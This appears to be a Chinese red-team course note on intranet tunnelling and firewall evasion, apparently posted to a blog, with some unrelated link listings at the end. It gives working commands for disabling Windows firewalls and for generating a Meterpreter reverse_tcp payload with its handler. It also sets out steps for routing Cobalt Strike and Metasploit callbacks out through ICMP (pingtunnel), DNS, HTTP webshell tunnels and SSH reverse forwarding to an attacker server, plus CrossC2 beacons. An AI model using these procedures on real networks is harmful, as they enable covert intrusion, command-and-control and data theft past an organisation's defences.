内网对抗-隧道技术篇&防火墙组策略&HTTP反向&SSH转发&出网穿透&CrossC2&解决方案

#防火墙策略-入站规则&出站规则&自定义

1、防火墙默认入站&出站策略

2、防火墙自定义入站&出站策略

内网域防火墙同步策略:

操作:组策略管理-域-创建GPO链接-防火墙设置

更新策略:强制&命令&重启

命令:gpupdate/force

限制端口分为:入站限制端口、出站限制端口、出入站均限制端口。

入站限制端口,出站未限制端口,使用反向连接。

出站限制端口,入站未限制端口,使用正向连接。

出入站均限制端口,使用端口绕过进行连接,建议配合反向连接。

限制协议分为:

入站限制、出站限制、出入均限制,限制又分为:单协议限制、多协议限制、全部限制。

入站限制:

单协议限制,使用其它协议或者反向连接绕过。(隧道技术)

多协议限制,使用未被限制的协议或者反向连接绕过。(隧道技术)

全部协议限制,使用放弃或者反向连接绕过,但正常不会将所以协议都封闭的。

出站限制:

参考上面使用正向连接绕过。

出入均限制:

单协议限制,使用其它协议绕过。(隧道技术)

多协议限制,使用未被限制的协议绕过。(隧道技术)

全部协议限制,使用放弃绕过,但正常不会将所以协议都封闭的。

单层目标机防火墙开启上线解决方案:

1、命令关闭防火墙

2、反向中转连接上线

3、利用隧道技术上线(规则决定)

单层跳板机防火墙开启上线解决方案:

1、命令关闭防火墙

2、正向监听连接上线

3、利用隧道技术上线(规则决定)

双层防火墙开启上线解决方案:

1、命令关闭防火墙

2、利用隧道技术上线(规则决定)

防火墙实验(适用场景):

1、内网无域环境下

2、内网有域环境下(强制策略同步)

Windows防火墙命令:

参考:https://www.cnblogs.com/tomtellyou/p/16300557.html

查看当前防火墙状态:netsh advfirewall show allprofiles

关闭防火墙:netsh advfirewall set allprofiles state off

开启防火墙:netsh advfirewall set allprofiles state on

恢复初始防火墙设置:netsh advfirewall reset

启用桌面防火墙: netsh advfirewall set allprofiles state on

设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound

如果设置为拒绝使用blockinbound,blockoutbound

学隧道前先搞清楚

0、不是有互联网才叫出网

1、C2常见上线采用的协议

2、常见的协议层出网判断

常用的隧道技术:

利用各种隧道技术,以网络防火墙允许的协议,

绕过网络防火墙的封锁,实现访问被封锁的目标网络

网络层:IPv6 隧道、ICMP 隧道

传输层:TCP 隧道、UDP 隧道、常规端口转发

应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

协议 判断命令

ICMP ping ip or domain

HTTP curl ip or domain

SSH ssh ip or domain

DNS nslookup domain

TCP telnet ip port

... ................

#C2上线-开防火墙入站只80&出站只放ICMP:

ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。

应用场景:80为入口权限点,ICMP为上线突破口

适用场景:目标入站正向被拦截,出站有ICMP出网

排查出网协议:curl nslookup ping等命令

https://github.com/esrrhs/pingtunnel

CS:

./pingtunnel -type server

pingtunnel -type client -l :6666 -s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1

监听器配置:

127.0.0.1 6666(后门)

192.168.139.141 7777

MSF:

pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe

监听器配置:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 3344

run

#C2上线-开防火墙入站只80&出站只放DNS:

应用场景:80为入口权限点,DNS为上线突破口

适用场景:目标入站正向被拦截,出站有DNS出网

排查出网协议:curl nslookup ping等命令

CS:

-域名申请及配置

-监听器创建及配置

-后门绑定监听器生成

checkin

mode dns-txt

MSF:

pro版本的reverse_dns模块

https://zhuanlan.zhihu.com/p/424351656

https://blog.csdn.net/vspiders/article/details/78999624

#C2上线-SMB-开防火墙入站只445:

SMB一般在防火墙入站默认是开启的,判断目标端口是否开放

适用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限

利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下

#后续穿透问题

1、Pingtunel配合iox代理Socks内网穿透

2、dnscat2(DNS)配合上线

C2:

接收客户端传递的ICMP

./pingtunnel -type server -noprint 1 -nolog 1 -key 000000

将本地4455转至5566端口

./iox proxy -l 4455 -l 5566

Web

将本地2222的TCP封装IMCP给192.168.139.141:4455

pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.139.141 -t 192.168.139.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000

建立SockS节点绑定3389端口:

iox.exe proxy -r 127.0.0.1:2222

#HTTP隧道搭建内网穿透:(解决目标出站限制做信息收集)(http主要是为了解决通讯问题的 不是上线cs的)

2访问3由于出战限制 无法进行访问 但可以用下面工具进行访问

-项目Neo-reGeorg

https://github.com/L-codes/Neo-re Georg

1、设置密码生成(aspx|ashx|jsp|jspx|php)并上传

2、使用neoreg.py连接WEB服务器,在本地建立连接

3、Proxifier添加socks5服务器并配置连接规则测试

同类推荐项目:

https://github.com/zema1/suo5

https://github.com/nccgroup/ABPTTS

-哥斯拉&冰蝎

哥斯拉:HttpProxy

冰蝎:内网穿透(本地监听端口是使用者的电脑进行访问 不是跳板机上进行访问的)

#HTTP隧道搭建上线C2:(解决目标出站限制上线C2)

太多时候遇到目标不出网了,TCP、ICMP、DNS协议均不通,

无法直接与公网的CS/MSF/Sliverd等其他C2服务端建立连接。

1、内网穿透建立HTTP隧道穿透

2、将远程IP正向后门端口转发本地端口

3、CS生成绑定正向后门,连接本地端口

#SSH隧道搭建内网穿透:(解决目标出站限制做信息收集)

注:由于CS无SSH协议监听器配置,无法上线

1、环境复现搭建:

如:模拟Linux为被控机,配置防火墙策略

iptables -F /* 清除所有规则 */

iptables -A INPUT -p tcp --dport 22 -j ACCEPT /*允许包从22端口进入*/

iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /*允许从22端口进入的包返回*/

iptables -A OUTPUT -p udp --dport 53 -j ACCEPT /* 域名解析端口,一般不开 */

iptables -A INPUT -p udp --sport 53 -j ACCEPT /* 域名解析端口,一般不开 */

iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /*允许本机访问本机*/

iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT

iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /*允许所有IP访问80端口*/

iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT

iptables-save > /etc/sysconfig/iptables /*保存配置*/

iptables -L /* 显示iptables列表 */

如:模拟Windows为被控机,配置防火墙策略:SSH 22端口放行

自己的服务器记得开启ssh协议登录:

vi /etc/ssh/sshd_config

PermitRootLogin yes

PasswordAuthentication yes

/etc/init.d/ssh start

/etc/init.d/ssh restart

2、适用场景:

内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透(内网穿透就是解决网络不可达的问题)

3、需要条件:(解决目标出站限制)

被控主机需支持SSH协议(Windows需要安装支持软件)

将2.22上80端口流量转发到xx.xx上的1234端口(2.22是目标机器)

ssh -CfNg -R 1234:192.168.2.22:80 root@xx.xx.xx.xx

curL http://127.0.0.1:1234

#控制上线-插件-Linux&Mac&IOS&Android

https://github.com/gloxec/CrossC2

面向Linux Mac IOS Android系统上线支持

1、插件使用

2、命令使用

使用参考:

https://gloxec.github.io/CrossC2/zh_cn/

目前版本只支持反向的https和正向的tcp

1、下载对应版本加载器和CNA插件

2、上传加载器文件和本地加载CNA插件

3、修改CNA插件配置路径及上传Key文件

4、使用命令或插件绑定HTTPS监听器生成

相关推荐
Pluchon3 小时前
硅基计划6.0 陆 JavaEE Http&Https协议
网络协议·tcp/ip·http·网络安全·https·udp·java-ee
2501_915909063 小时前
深入理解HTTPS和HTTP的区别、工作原理及安全重要性
安全·http·ios·小程序·https·uni-app·iphone
是店小二呀3 小时前
仓颉三方库开发实战:Simple HTTP Server 实现详解
网络·网络协议·http
北京耐用通信3 小时前
从‘卡壳’到‘丝滑’:耐达讯自动化PROFIBUS光纤模块如何让RFID读写器实现‘零延迟’物流追踪?”
网络·人工智能·科技·物联网·网络协议·自动化
交换机路由器测试之路4 小时前
交换机路由器基础(四)--TCPIP四层模型及常见协议技术
网络·网络协议·路由器·交换机·tcp/ip模型
老蒋新思维4 小时前
借刘润之智,在 IP+AI 时代构筑战略 “增长方舟”|创客匠人
大数据·网络·人工智能·网络协议·tcp/ip·创客匠人·知识变现
多多*4 小时前
一个有 IP 的服务端监听了某个端口,那么他的 TCP 最大链接数是多少
java·开发语言·网络·网络协议·tcp/ip·缓存·mybatis
普普通通的南瓜4 小时前
网站提示 “不安全”?免费 SSL 证书一键解决
网络·数据库·网络协议·算法·安全·iphone·ssl
利刃大大14 小时前
【高并发服务器:HTTP应用】十六、HttpContext上下文模块 && HttpServer服务器模块&& 服务器测试
运维·服务器·http·高并发·项目